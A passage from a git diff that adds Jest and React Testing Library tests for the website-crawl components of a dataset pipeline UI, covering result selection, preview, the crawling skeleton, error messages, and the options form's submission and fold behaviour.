+  describe('User Interactions', () => {
+    it('should call onSelectedChange with all items when clicking select all', () => {
+      // Arrange
+      const mockOnSelectedChange = jest.fn()
+      const list = createMockCrawlResultItems(3)
+      const { container } = render(
+        <CrawledResult
+          {...defaultProps}
+          list={list}
+          checkedList={[]}
+          onSelectedChange={mockOnSelectedChange}
+        />,
+      )
+
+      // Act - Click select all checkbox (first checkbox)
+      const checkboxes = container.querySelectorAll('[data-testid^="checkbox"]')
+      fireEvent.click(checkboxes[0])
+
+      // Assert
+      expect(mockOnSelectedChange).toHaveBeenCalledWith(list)
+    })
+
+    it('should call onSelectedChange with empty array when clicking reset all', () => {
+      // Arrange
+      const mockOnSelectedChange = jest.fn()
+      const list = createMockCrawlResultItems(3)
+      const { container } = render(
+        <CrawledResult
+          {...defaultProps}
+          list={list}
+          checkedList={list}
+          onSelectedChange={mockOnSelectedChange}
+        />,
+      )
+
+      // Act
+      const checkboxes = container.querySelectorAll('[data-testid^="checkbox"]')
+      fireEvent.click(checkboxes[0])
+
+      // Assert
+      expect(mockOnSelectedChange).toHaveBeenCalledWith([])
+    })
+
+    it('should add item to checkedList when checking unchecked item', () => {
+      // Arrange
+      const mockOnSelectedChange = jest.fn()
+      const list = createMockCrawlResultItems(3)
+      const { container } = render(
+        <CrawledResult
+          {...defaultProps}
+          list={list}
+          checkedList={[list[0]]}
+          onSelectedChange={mockOnSelectedChange}
+        />,
+      )
+
+      // Act - Click second item checkbox (index 2, accounting for select all)
+      const checkboxes = container.querySelectorAll('[data-testid^="checkbox"]')
+      fireEvent.click(checkboxes[2])
+
+      // Assert
+      expect(mockOnSelectedChange).toHaveBeenCalledWith([list[0], list[1]])
+    })
+
+    it('should remove item from checkedList when unchecking checked item', () => {
+      // Arrange
+      const mockOnSelectedChange = jest.fn()
+      const list = createMockCrawlResultItems(3)
+      const { container } = render(
+        <CrawledResult
+          {...defaultProps}
+          list={list}
+          checkedList={[list[0], list[1]]}
+          onSelectedChange={mockOnSelectedChange}
+        />,
+      )
+
+      // Act - Uncheck first item (index 1, after select all)
+      const checkboxes = container.querySelectorAll('[data-testid^="checkbox"]')
+      fireEvent.click(checkboxes[1])
+
+      // Assert
+      expect(mockOnSelectedChange).toHaveBeenCalledWith([list[1]])
+    })
+
+    it('should replace selection when checking in single choice mode', () => {
+      // Arrange
+      const mockOnSelectedChange = jest.fn()
+      const list = createMockCrawlResultItems(3)
+      const { container } = render(
+        <CrawledResult
+          {...defaultProps}
+          list={list}
+          checkedList={[list[0]]}
+          onSelectedChange={mockOnSelectedChange}
+          isMultipleChoice={false}
+        />,
+      )
+
+      // Act - Click second item radio (Radio uses size-4 rounded-full classes)
+      const radios = container.querySelectorAll('.size-4.rounded-full')
+      fireEvent.click(radios[1])
+
+      // Assert - Should only select the clicked item
+      expect(mockOnSelectedChange).toHaveBeenCalledWith([list[1]])
+    })
+
+    it('should call onPreview with item and index when clicking preview', () => {
+      // Arrange
+      const mockOnPreview = jest.fn()
+      const list = createMockCrawlResultItems(3)
+      render(
+        <CrawledResult
+          {...defaultProps}
+          list={list}
+          onPreview={mockOnPreview}
+          showPreview={true}
+        />,
+      )
+
+      // Act
+      const buttons = screen.getAllByRole('button')
+      fireEvent.click(buttons[1]) // Second item's preview button
+
+      // Assert
+      expect(mockOnPreview).toHaveBeenCalledWith(list[1], 1)
+    })
+
+    it('should not crash when clicking preview without onPreview callback', () => {
+      // Arrange - showPreview is true but onPreview is undefined
+      const list = createMockCrawlResultItems(3)
+      render(
+        <CrawledResult
+          {...defaultProps}
+          list={list}
+          onPreview={undefined}
+          showPreview={true}
+        />,
+      )
+
+      // Act - Click preview button should trigger early return in handlePreview
+      const buttons = screen.getAllByRole('button')
+      fireEvent.click(buttons[0])
+
+      // Assert - Should not throw error, component still renders
+      expect(screen.getByText('Page 1')).toBeInTheDocument()
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle empty list', () => {
+      // Arrange & Act
+      render(<CrawledResult {...defaultProps} list={[]} usedTime={0.5} />)
+
+      // Assert - Should show time info with 0 count
+      expect(screen.getByText(/0.5/)).toBeInTheDocument()
+    })
+
+    it('should handle single item list', () => {
+      // Arrange
+      const singleItem = [createMockCrawlResultItem()]
+
+      // Act
+      render(<CrawledResult {...defaultProps} list={singleItem} />)
+
+      // Assert
+      expect(screen.getByText('Test Page Title')).toBeInTheDocument()
+    })
+
+    it('should format usedTime to one decimal place', () => {
+      // Arrange & Act
+      render(<CrawledResult {...defaultProps} usedTime={1.567} />)
+
+      // Assert
+      expect(screen.getByText(/1.6/)).toBeInTheDocument()
+    })
+  })
+})
+
+// ==========================================
+// Crawling Tests
+// ==========================================
+describe('Crawling', () => {
+  const defaultProps = {
+    crawledNum: 5,
+    totalNum: 10,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      render(<Crawling {...defaultProps} />)
+
+      // Assert
+      expect(screen.getByText(/5\/10/)).toBeInTheDocument()
+    })
+
+    it('should display crawled count and total', () => {
+      // Arrange & Act
+      render(<Crawling crawledNum={3} totalNum={15} />)
+
+      // Assert
+      expect(screen.getByText(/3\/15/)).toBeInTheDocument()
+    })
+
+    it('should render skeleton items', () => {
+      // Arrange & Act
+      const { container } = render(<Crawling {...defaultProps} />)
+
+      // Assert - Should have 3 skeleton items
+      const skeletonItems = container.querySelectorAll('.px-2.py-\\[5px\\]')
+      expect(skeletonItems.length).toBe(3)
+    })
+
+    it('should render header skeleton block', () => {
+      // Arrange & Act
+      const { container } = render(<Crawling {...defaultProps} />)
+
+      // Assert
+      const headerBlocks = container.querySelectorAll('.px-4.py-2 .bg-text-quaternary')
+      expect(headerBlocks.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Props', () => {
+    it('should apply custom className', () => {
+      // Arrange & Act
+      const { container } = render(
+        <Crawling {...defaultProps} className="custom-crawling-class" />,
+      )
+
+      // Assert
+      expect(container.firstChild).toHaveClass('custom-crawling-class')
+    })
+
+    it('should handle zero values', () => {
+      // Arrange & Act
+      render(<Crawling crawledNum={0} totalNum={0} />)
+
+      // Assert
+      expect(screen.getByText(/0\/0/)).toBeInTheDocument()
+    })
+
+    it('should handle large numbers', () => {
+      // Arrange & Act
+      render(<Crawling crawledNum={999} totalNum={1000} />)
+
+      // Assert
+      expect(screen.getByText(/999\/1000/)).toBeInTheDocument()
+    })
+  })
+
+  describe('Skeleton Structure', () => {
+    it('should render blocks with correct width classes', () => {
+      // Arrange & Act
+      const { container } = render(<Crawling {...defaultProps} />)
+
+      // Assert - Check for various width classes
+      expect(container.querySelector('.w-\\[35\\%\\]')).toBeInTheDocument()
+      expect(container.querySelector('.w-\\[50\\%\\]')).toBeInTheDocument()
+      expect(container.querySelector('.w-\\[40\\%\\]')).toBeInTheDocument()
+    })
+  })
+})
+
+// ==========================================
+// ErrorMessage Tests
+// ==========================================
+describe('ErrorMessage', () => {
+  const defaultProps = {
+    title: 'Error Title',
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      render(<ErrorMessage {...defaultProps} />)
+
+      // Assert
+      expect(screen.getByText('Error Title')).toBeInTheDocument()
+    })
+
+    it('should render error icon', () => {
+      // Arrange & Act
+      const { container } = render(<ErrorMessage {...defaultProps} />)
+
+      // Assert
+      const icon = container.querySelector('svg')
+      expect(icon).toBeInTheDocument()
+      expect(icon).toHaveClass('text-text-destructive')
+    })
+
+    it('should render title', () => {
+      // Arrange & Act
+      render(<ErrorMessage title="Custom Error Title" />)
+
+      // Assert
+      expect(screen.getByText('Custom Error Title')).toBeInTheDocument()
+    })
+
+    it('should render error message when provided', () => {
+      // Arrange & Act
+      render(<ErrorMessage {...defaultProps} errorMsg="Detailed error description" />)
+
+      // Assert
+      expect(screen.getByText('Detailed error description')).toBeInTheDocument()
+    })
+
+    it('should not render error message when not provided', () => {
+      // Arrange & Act
+      render(<ErrorMessage {...defaultProps} />)
+
+      // Assert - Should only have title, not error message container
+      const textElements = screen.getAllByText(/Error Title/)
+      expect(textElements.length).toBe(1)
+    })
+  })
+
+  describe('Props', () => {
+    it('should apply custom className', () => {
+      // Arrange & Act
+      const { container } = render(
+        <ErrorMessage {...defaultProps} className="custom-error-class" />,
+      )
+
+      // Assert
+      expect(container.firstChild).toHaveClass('custom-error-class')
+    })
+
+    it('should render with empty errorMsg', () => {
+      // Arrange & Act
+      render(<ErrorMessage {...defaultProps} errorMsg="" />)
+
+      // Assert - Empty string should not render message div
+      expect(screen.getByText('Error Title')).toBeInTheDocument()
+    })
+
+    it('should handle long title text', () => {
+      // Arrange
+      const longTitle = 'This is a very long error title that might wrap to multiple lines'
+
+      // Act
+      render(<ErrorMessage title={longTitle} />)
+
+      // Assert
+      expect(screen.getByText(longTitle)).toBeInTheDocument()
+    })
+
+    it('should handle long error message', () => {
+      // Arrange
+      const longErrorMsg = 'This is a very detailed error message explaining what went wrong and how to fix it. It contains multiple sentences.'
+
+      // Act
+      render(<ErrorMessage {...defaultProps} errorMsg={longErrorMsg} />)
+
+      // Assert
+      expect(screen.getByText(longErrorMsg)).toBeInTheDocument()
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have error background styling', () => {
+      // Arrange & Act
+      const { container } = render(<ErrorMessage {...defaultProps} />)
+
+      // Assert
+      expect(container.firstChild).toHaveClass('bg-toast-error-bg')
+    })
+
+    it('should have border styling', () => {
+      // Arrange & Act
+      const { container } = render(<ErrorMessage {...defaultProps} />)
+
+      // Assert
+      expect(container.firstChild).toHaveClass('border-components-panel-border')
+    })
+
+    it('should have rounded corners', () => {
+      // Arrange & Act
+      const { container } = render(<ErrorMessage {...defaultProps} />)
+
+      // Assert
+      expect(container.firstChild).toHaveClass('rounded-xl')
+    })
+  })
+})
+
+// ==========================================
+// Integration Tests
+// ==========================================
+describe('Base Components Integration', () => {
+  it('should render CrawledResult with CrawledResultItem children', () => {
+    // Arrange
+    const list = createMockCrawlResultItems(2)
+
+    // Act
+    render(
+      <CrawledResult
+        list={list}
+        checkedList={[]}
+        onSelectedChange={jest.fn()}
+        usedTime={1.0}
+      />,
+    )
+
+    // Assert - Both items should render
+    expect(screen.getByText('Page 1')).toBeInTheDocument()
+    expect(screen.getByText('Page 2')).toBeInTheDocument()
+  })
+
+  it('should render CrawledResult with CheckboxWithLabel for select all', () => {
+    // Arrange
+    const list = createMockCrawlResultItems(2)
+
+    // Act
+    const { container } = render(
+      <CrawledResult
+        list={list}
+        checkedList={[]}
+        onSelectedChange={jest.fn()}
+        usedTime={1.0}
+        isMultipleChoice={true}
+      />,
+    )
+
+    // Assert - Should have select all checkbox + item checkboxes
+    const checkboxes = container.querySelectorAll('[data-testid^="checkbox"]')
+    expect(checkboxes.length).toBe(3) // select all + 2 items
+  })
+
+  it('should allow selecting and previewing items', () => {
+    // Arrange
+    const list = createMockCrawlResultItems(3)
+    const mockOnSelectedChange = jest.fn()
+    const mockOnPreview = jest.fn()
+
+    const { container } = render(
+      <CrawledResult
+        list={list}
+        checkedList={[]}
+        onSelectedChange={mockOnSelectedChange}
+        onPreview={mockOnPreview}
+        showPreview={true}
+        usedTime={1.0}
+      />,
+    )
+
+    // Act - Select first item (index 1, after select all)
+    const checkboxes = container.querySelectorAll('[data-testid^="checkbox"]')
+    fireEvent.click(checkboxes[1])
+
+    // Assert
+    expect(mockOnSelectedChange).toHaveBeenCalledWith([list[0]])
+
+    // Act - Preview second item
+    const previewButtons = screen.getAllByRole('button')
+    fireEvent.click(previewButtons[1])
+
+    // Assert
+    expect(mockOnPreview).toHaveBeenCalledWith(list[1], 1)
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/options/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/options/index.spec.tsx
new file mode 100644
index 0000000000..01c487c694
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/options/index.spec.tsx
@@ -0,0 +1,1128 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import React from 'react'
+import Options from './index'
+import { CrawlStep } from '@/models/datasets'
+import type { RAGPipelineVariables } from '@/models/pipeline'
+import { PipelineInputVarType } from '@/models/pipeline'
+import Toast from '@/app/components/base/toast'
+import { BaseFieldType } from '@/app/components/base/form/form-scenarios/base/types'
+
+// ==========================================
+// Mock Modules
+// ==========================================
+
+// Note: react-i18next uses global mock from web/__mocks__/react-i18next.ts
+
+// Mock useInitialData and useConfigurations hooks
+const mockUseInitialData = jest.fn()
+const mockUseConfigurations = jest.fn()
+jest.mock('@/app/components/rag-pipeline/hooks/use-input-fields', () => ({
+  useInitialData: (...args: any[]) => mockUseInitialData(...args),
+  useConfigurations: (...args: any[]) => mockUseConfigurations(...args),
+}))
+
+// Mock BaseField
+const mockBaseField = jest.fn()
+jest.mock('@/app/components/base/form/form-scenarios/base/field', () => {
+  const MockBaseFieldFactory = (props: any) => {
+    mockBaseField(props)
+    const MockField = ({ form }: { form: any }) => (
+      <div data-testid={`field-${props.config?.variable || 'unknown'}`}>
+        <span data-testid={`field-label-${props.config?.variable}`}>{props.config?.label}</span>
+        <input
+          data-testid={`field-input-${props.config?.variable}`}
+          value={form.getFieldValue?.(props.config?.variable) || ''}
+          onChange={e => form.setFieldValue?.(props.config?.variable, e.target.value)}
+        />
+      </div>
+    )
+    return MockField
+  }
+  return MockBaseFieldFactory
+})
+
+// Mock useAppForm
+const mockHandleSubmit = jest.fn()
+const mockFormValues: Record<string, any> = {}
+jest.mock('@/app/components/base/form', () => ({
+  useAppForm: (options: any) => {
+    const formOptions = options
+    return {
+      handleSubmit: () => {
+        const validationResult = formOptions.validators?.onSubmit?.({ value: mockFormValues })
+        if (!validationResult) {
+          mockHandleSubmit()
+          formOptions.onSubmit?.({ value: mockFormValues })
+        }
+      },
+      getFieldValue: (field: string) => mockFormValues[field],
+      setFieldValue: (field: string, value: any) => {
+        mockFormValues[field] = value
+      },
+    }
+  },
+}))
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+
+const createMockVariable = (overrides?: Partial<RAGPipelineVariables[0]>): RAGPipelineVariables[0] => ({
+  belong_to_node_id: 'node-1',
+  type: PipelineInputVarType.textInput,
+  label: 'Test Label',
+  variable: 'test_variable',
+  max_length: 100,
+  default_value: '',
+  placeholder: 'Enter value',
+  required: true,
+  ...overrides,
+})
+
+const createMockVariables = (count = 1): RAGPipelineVariables => {
+  return Array.from({ length: count }, (_, i) =>
+    createMockVariable({
+      variable: `variable_${i}`,
+      label: `Label ${i}`,
+    }),
+  )
+}
+
+const createMockConfiguration = (overrides?: Partial<any>): any => ({
+  type: BaseFieldType.textInput,
+  variable: 'test_variable',
+  label: 'Test Label',
+  required: true,
+  maxLength: 100,
+  options: [],
+  showConditions: [],
+  placeholder: 'Enter value',
+  ...overrides,
+})
+
+type OptionsProps = React.ComponentProps<typeof Options>
+
+const createDefaultProps = (overrides?: Partial<OptionsProps>): OptionsProps => ({
+  variables: createMockVariables(),
+  step: CrawlStep.init,
+  runDisabled: false,
+  onSubmit: jest.fn(),
+  ...overrides,
+})
+
+// ==========================================
+// Test Suites
+// ==========================================
+describe('Options', () => {
+  let toastNotifySpy: jest.SpyInstance
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+
+    // Spy on Toast.notify instead of mocking the entire module
+    toastNotifySpy = jest.spyOn(Toast, 'notify').mockImplementation(() => ({ clear: jest.fn() }))
+
+    // Reset mock form values
+    Object.keys(mockFormValues).forEach(key => delete mockFormValues[key])
+
+    // Default mock return values - using real generateZodSchema
+    mockUseInitialData.mockReturnValue({})
+    mockUseConfigurations.mockReturnValue([createMockConfiguration()])
+  })
+
+  afterEach(() => {
+    toastNotifySpy.mockRestore()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Options {...props} />)
+
+      // Assert
+      expect(container.querySelector('form')).toBeInTheDocument()
+    })
+
+    it('should render options header with toggle text', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Options {...props} />)
+
+      // Assert
+      expect(screen.getByText(/options/i)).toBeInTheDocument()
+    })
+
+    it('should render Run button', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Options {...props} />)
+
+      // Assert
+      expect(screen.getByRole('button')).toBeInTheDocument()
+      expect(screen.getByText(/run/i)).toBeInTheDocument()
+    })
+
+    it('should render form fields when not folded', () => {
+      // Arrange
+      const configurations = [
+        createMockConfiguration({ variable: 'url', label: 'URL' }),
+        createMockConfiguration({ variable: 'depth', label: 'Depth' }),
+      ]
+      mockUseConfigurations.mockReturnValue(configurations)
+      const props = createDefaultProps()
+
+      // Act
+      render(<Options {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('field-url')).toBeInTheDocument()
+      expect(screen.getByTestId('field-depth')).toBeInTheDocument()
+    })
+
+    it('should render arrow icon in correct orientation when expanded', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Options {...props} />)
+
+      // Assert - Arrow should not have -rotate-90 class when expanded
+      const arrowIcon = container.querySelector('svg')
+      expect(arrowIcon).toBeInTheDocument()
+      expect(arrowIcon).not.toHaveClass('-rotate-90')
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('variables prop', () => {
+      it('should pass variables to useInitialData hook', () => {
+        // Arrange
+        const variables = createMockVariables(3)
+        const props = createDefaultProps({ variables })
+
+        // Act
+        render(<Options {...props} />)
+
+        // Assert
+        expect(mockUseInitialData).toHaveBeenCalledWith(variables)
+      })
+
+      it('should pass variables to useConfigurations hook', () => {
+        // Arrange
+        const variables = createMockVariables(2)
+        const props = createDefaultProps({ variables })
+
+        // Act
+        render(<Options {...props} />)
+
+        // Assert
+        expect(mockUseConfigurations).toHaveBeenCalledWith(variables)
+      })
+
+      it('should render correct number of fields based on configurations', () => {
+        // Arrange
+        const configurations = [
+          createMockConfiguration({ variable: 'field_1', label: 'Field 1' }),
+          createMockConfiguration({ variable: 'field_2', label: 'Field 2' }),
+          createMockConfiguration({ variable: 'field_3', label: 'Field 3' }),
+        ]
+        mockUseConfigurations.mockReturnValue(configurations)
+        const props = createDefaultProps()
+
+        // Act
+        render(<Options {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('field-field_1')).toBeInTheDocument()
+        expect(screen.getByTestId('field-field_2')).toBeInTheDocument()
+        expect(screen.getByTestId('field-field_3')).toBeInTheDocument()
+      })
+
+      it('should handle empty variables array', () => {
+        // Arrange
+        mockUseConfigurations.mockReturnValue([])
+        const props = createDefaultProps({ variables: [] })
+
+        // Act
+        const { container } = render(<Options {...props} />)
+
+        // Assert
+        expect(container.querySelector('form')).toBeInTheDocument()
+        expect(screen.queryByTestId(/field-/)).not.toBeInTheDocument()
+      })
+    })
+
+    describe('step prop', () => {
+      it('should show "Run" text when step is init', () => {
+        // Arrange
+        const props = createDefaultProps({ step: CrawlStep.init })
+
+        // Act
+        render(<Options {...props} />)
+
+        // Assert
+        expect(screen.getByText(/run/i)).toBeInTheDocument()
+      })
+
+      it('should show "Running" text when step is running', () => {
+        // Arrange
+        const props = createDefaultProps({ step: CrawlStep.running })
+
+        // Act
+        render(<Options {...props} />)
+
+        // Assert
+        expect(screen.getByText(/running/i)).toBeInTheDocument()
+      })
+
+      it('should disable button when step is running', () => {
+        // Arrange
+        const props = createDefaultProps({ step: CrawlStep.running })
+
+        // Act
+        render(<Options {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).toBeDisabled()
+      })
+
+      it('should enable button when step is finished', () => {
+        // Arrange
+        const props = createDefaultProps({ step: CrawlStep.finished, runDisabled: false })
+
+        // Act
+        render(<Options {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).not.toBeDisabled()
+      })
+
+      it('should show loading state on button when step is running', () => {
+        // Arrange
+        const props = createDefaultProps({ step: CrawlStep.running })
+
+        // Act
+        render(<Options {...props} />)
+
+        // Assert - Button should have loading prop which disables it
+        const button = screen.getByRole('button')
+        expect(button).toBeDisabled()
+      })
+    })
+
+    describe('runDisabled prop', () => {
+      it('should disable button when runDisabled is true', () => {
+        // Arrange
+        const props = createDefaultProps({ runDisabled: true })
+
+        // Act
+        render(<Options {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).toBeDisabled()
+      })
+
+      it('should enable button when runDisabled is false and step is not running', () => {
+        // Arrange
+        const props = createDefaultProps({ runDisabled: false, step: CrawlStep.init })
+
+        // Act
+        render(<Options {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).not.toBeDisabled()
+      })
+
+      it('should disable button when both runDisabled is true and step is running', () => {
+        // Arrange
+        const props = createDefaultProps({ runDisabled: true, step: CrawlStep.running })
+
+        // Act
+        render(<Options {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).toBeDisabled()
+      })
+
+      it('should default runDisabled to undefined (falsy)', () => {
+        // Arrange
+        const props = createDefaultProps()
+        delete (props as any).runDisabled
+
+        // Act
+        render(<Options {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).not.toBeDisabled()
+      })
+    })
+
+    describe('onSubmit prop', () => {
+      it('should call onSubmit when form is submitted successfully', () => {
+        // Arrange - Use non-required field so validation passes
+        const config = createMockConfiguration({
+          variable: 'optional_field',
+          required: false,
+          type: BaseFieldType.textInput,
+        })
+        mockUseConfigurations.mockReturnValue([config])
+        const mockOnSubmit = jest.fn()
+        const props = createDefaultProps({ onSubmit: mockOnSubmit })
+
+        // Act
+        render(<Options {...props} />)
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert
+        expect(mockOnSubmit).toHaveBeenCalled()
+      })
+
+      it('should not call onSubmit when validation fails', () => {
+        // Arrange
+        const mockOnSubmit = jest.fn()
+        // Create a required field configuration
+        const requiredConfig = createMockConfiguration({
+          variable: 'url',
+          label: 'URL',
+          required: true,
+          type: BaseFieldType.textInput,
+        })
+        mockUseConfigurations.mockReturnValue([requiredConfig])
+        // mockFormValues is empty, so required field validation will fail
+        const props = createDefaultProps({ onSubmit: mockOnSubmit })
+
+        // Act
+        render(<Options {...props} />)
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert
+        expect(mockOnSubmit).not.toHaveBeenCalled()
+      })
+
+      it('should pass form values to onSubmit', () => {
+        // Arrange - Use non-required fields so validation passes
+        const configs = [
+          createMockConfiguration({ variable: 'url', required: false, type: BaseFieldType.textInput }),
+          createMockConfiguration({ variable: 'depth', required: false, type: BaseFieldType.numberInput }),
+        ]
+        mockUseConfigurations.mockReturnValue(configs)
+        mockFormValues.url = 'https://example.com'
+        mockFormValues.depth = 2
+        const mockOnSubmit = jest.fn()
+        const props = createDefaultProps({ onSubmit: mockOnSubmit })
+
+        // Act
+        render(<Options {...props} />)
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert
+        expect(mockOnSubmit).toHaveBeenCalledWith({ url: 'https://example.com', depth: 2 })
+      })
+    })
+  })
+
+  // ==========================================
+  // Side Effects and Cleanup (useEffect)
+  // ==========================================
+  describe('Side Effects and Cleanup', () => {
+    it('should expand options when step changes to init', () => {
+      // Arrange
+      const props = createDefaultProps({ step: CrawlStep.finished })
+      const { rerender, container } = render(<Options {...props} />)
+
+      // Act - Change step to init
+      rerender(<Options {...props} step={CrawlStep.init} />)
+
+      // Assert - Fields should be visible (expanded)
+      expect(screen.getByTestId('field-test_variable')).toBeInTheDocument()
+      const arrowIcon = container.querySelector('svg')
+      expect(arrowIcon).not.toHaveClass('-rotate-90')
+    })
+
+    it('should collapse options when step changes to running', () => {
+      // Arrange
+      const props = createDefaultProps({ step: CrawlStep.init })
+      const { rerender, container } = render(<Options {...props} />)
+
+      // Assert - Initially expanded
+      expect(screen.getByTestId('field-test_variable')).toBeInTheDocument()
+
+      // Act - Change step to running
+      rerender(<Options {...props} step={CrawlStep.running} />)
+
+      // Assert - Should collapse (fields hidden, arrow rotated)
+      expect(screen.queryByTestId('field-test_variable')).not.toBeInTheDocument()
+      const arrowIcon = container.querySelector('svg')
+      expect(arrowIcon).toHaveClass('-rotate-90')
+    })
+
+    it('should collapse options when step changes to finished', () => {
+      // Arrange
+      const props = createDefaultProps({ step: CrawlStep.init })
+      const { rerender, container } = render(<Options {...props} />)
+
+      // Act - Change step to finished
+      rerender(<Options {...props} step={CrawlStep.finished} />)
+
+      // Assert - Should collapse
+      expect(screen.queryByTestId('field-test_variable')).not.toBeInTheDocument()
+      const arrowIcon = container.querySelector('svg')
+      expect(arrowIcon).toHaveClass('-rotate-90')
+    })
+
+    it('should respond to step transitions from init -> running -> finished', () => {
+      // Arrange
+      const props = createDefaultProps({ step: CrawlStep.init })
+      const { rerender, container } = render(<Options {...props} />)
+
+      // Assert - Initially expanded
+      expect(screen.getByTestId('field-test_variable')).toBeInTheDocument()
+
+      // Act - Transition to running
+      rerender(<Options {...props} step={CrawlStep.running} />)
+
+      // Assert - Collapsed
+      expect(screen.queryByTestId('field-test_variable')).not.toBeInTheDocument()
+      let arrowIcon = container.querySelector('svg')
+      expect(arrowIcon).toHaveClass('-rotate-90')
+
+      // Act - Transition to finished
+      rerender(<Options {...props} step={CrawlStep.finished} />)
+
+      // Assert - Still collapsed
+      expect(screen.queryByTestId('field-test_variable')).not.toBeInTheDocument()
+      arrowIcon = container.querySelector('svg')
+      expect(arrowIcon).toHaveClass('-rotate-90')
+    })
+
+    it('should expand when step transitions from finished to init', () => {
+      // Arrange
+      const props = createDefaultProps({ step: CrawlStep.finished })
+      const { rerender } = render(<Options {...props} />)
+
+      // Assert - Initially collapsed when finished
+      expect(screen.queryByTestId('field-test_variable')).not.toBeInTheDocument()
+
+      // Act - Transition back to init
+      rerender(<Options {...props} step={CrawlStep.init} />)
+
+      // Assert - Should expand
+      expect(screen.getByTestId('field-test_variable')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Memoization Logic and Dependencies
+  // ==========================================
+  describe('Memoization Logic and Dependencies', () => {
+    it('should regenerate schema when configurations change', () => {
+      // Arrange
+      const config1 = [createMockConfiguration({ variable: 'url' })]
+      const config2 = [createMockConfiguration({ variable: 'depth' })]
+      mockUseConfigurations.mockReturnValue(config1)
+      const props = createDefaultProps()
+      const { rerender } = render(<Options {...props} />)
+
+      // Assert - First render creates schema
+      expect(screen.getByTestId('field-url')).toBeInTheDocument()
+
+      // Act - Change configurations
+      mockUseConfigurations.mockReturnValue(config2)
+      rerender(<Options {...props} variables={createMockVariables(2)} />)
+
+      // Assert - New field is rendered with new schema
+      expect(screen.getByTestId('field-depth')).toBeInTheDocument()
+    })
+
+    it('should compute isRunning correctly for init step', () => {
+      // Arrange
+      const props = createDefaultProps({ step: CrawlStep.init })
+
+      // Act
+      render(<Options {...props} />)
+
+      // Assert - Button should not be in loading state
+      const button = screen.getByRole('button')
+      expect(button).not.toBeDisabled()
+      expect(screen.getByText(/run/i)).toBeInTheDocument()
+    })
+
+    it('should compute isRunning correctly for running step', () => {
+      // Arrange
+      const props = createDefaultProps({ step: CrawlStep.running })
+
+      // Act
+      render(<Options {...props} />)
+
+      // Assert - Button should be in loading state
+      const button = screen.getByRole('button')
+      expect(button).toBeDisabled()
+      expect(screen.getByText(/running/i)).toBeInTheDocument()
+    })
+
+    it('should compute isRunning correctly for finished step', () => {
+      // Arrange
+      const props = createDefaultProps({ step: CrawlStep.finished })
+
+      // Act
+      render(<Options {...props} />)
+
+      // Assert - Button should not be in loading state
+      expect(screen.getByText(/run/i)).toBeInTheDocument()
+    })
+
+    it('should use memoized schema for validation', () => {
+      // Arrange - Use real generateZodSchema with valid configuration
+      const config = createMockConfiguration({
+        variable: 'test_field',
+        required: false, // Not required so validation passes with empty value
+      })
+      mockUseConfigurations.mockReturnValue([config])
+      const mockOnSubmit = jest.fn()
+      const props = createDefaultProps({ onSubmit: mockOnSubmit })
+      render(<Options {...props} />)
+
+      // Act - Trigger validation via submit
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert - onSubmit should be called if validation passes
+      expect(mockOnSubmit).toHaveBeenCalled()
+    })
+  })
+
+  // ==========================================
+  // User Interactions and Event Handlers
+  // ==========================================
+  describe('User Interactions and Event Handlers', () => {
+    it('should toggle fold state when header is clicked', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<Options {...props} />)
+
+      // Assert - Initially expanded
+      expect(screen.getByTestId('field-test_variable')).toBeInTheDocument()
+
+      // Act - Click to fold
+      fireEvent.click(screen.getByText(/options/i))
+
+      // Assert - Should be folded
+      expect(screen.queryByTestId('field-test_variable')).not.toBeInTheDocument()
+
+      // Act - Click to unfold
+      fireEvent.click(screen.getByText(/options/i))
+
+      // Assert - Should be expanded again
+      expect(screen.getByTestId('field-test_variable')).toBeInTheDocument()
+    })
+
+    it('should prevent default and stop propagation on form submit', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const { container } = render(<Options {...props} />)
+
+      // Act
+      const form = container.querySelector('form')!
+      const mockPreventDefault = jest.fn()
+      const mockStopPropagation = jest.fn()
+
+      fireEvent.submit(form, {
+        preventDefault: mockPreventDefault,
+        stopPropagation: mockStopPropagation,
+      })
+
+      // Assert - The form element handles submit event
+      expect(form).toBeInTheDocument()
+    })
+
+    it('should trigger form submit when button is clicked', () => {
+      // Arrange - Use non-required field so validation passes
+      const config = createMockConfiguration({
+        variable: 'optional_field',
+        required: false,
+        type: BaseFieldType.textInput,
+      })
+      mockUseConfigurations.mockReturnValue([config])
+      const mockOnSubmit = jest.fn()
